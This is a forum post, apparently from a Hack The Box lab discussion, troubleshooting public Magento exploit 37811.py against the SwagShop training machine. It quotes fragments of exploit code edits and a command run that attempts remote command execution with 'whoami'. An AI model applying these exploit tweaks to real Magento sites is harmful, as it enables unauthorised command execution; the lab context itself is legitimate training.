Long story short every walkthrough I read says you need to change 7d to 2y in the exploit code because 7d returns “no data found” whereas 2y returns “chart”. However, I went to the page and selected 2y from the drop down menu, as well as every other option (24h, 7d, 1m, 1y), and they all returned “no data found”. I double checked that the url was changing too.
@ch4p I read you talked about the previous 2 patches at this step that were caused by the removal of the /download page, do you think this was patched again?
Page I’m talking about:
http://10.10.10.140/index.php/admin/dashboard/ajaxBlock/key/891672993be652f24b39858d25f5970b/block/tab_orders/period/2y/?isAjax=true
Exploit:
Exploit edits:
username = 'forme'
password = 'forme'
...
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
...
request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
0xdf and Security Ninja were able to get it to run from here, without changing it form 7d to 2y.
Epi and Ivan were able to get it to work after changing it.
Rana and myself had to make some additional tweaks:
#Comment out the following code
#br.form.new_control('text', 'login[username]', {'value': username})
#br.form.fixup()
#br['login[username]'] = username
#br['login[password]'] = password
#Add the following code
userone = br.find_control(name="login[username]", nr=0)
userone.value = username
pwone = br.find_control(name="login[password]", nr=0)
pwone.value = password
At this point it runs for her, but I get the same error that we got before we change it from 7d to 2y:
┌──(f00d4w0rm5㉿kali)-[~/Documents/htb/140-SwagShop]
└─$ python 37811.py http://10.10.10.140/index.php/admin "whoami"
Traceback (most recent call last):
File "37811.py", line 75, in <module>
tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'
So was this patched or is there another way to edit the exploit code?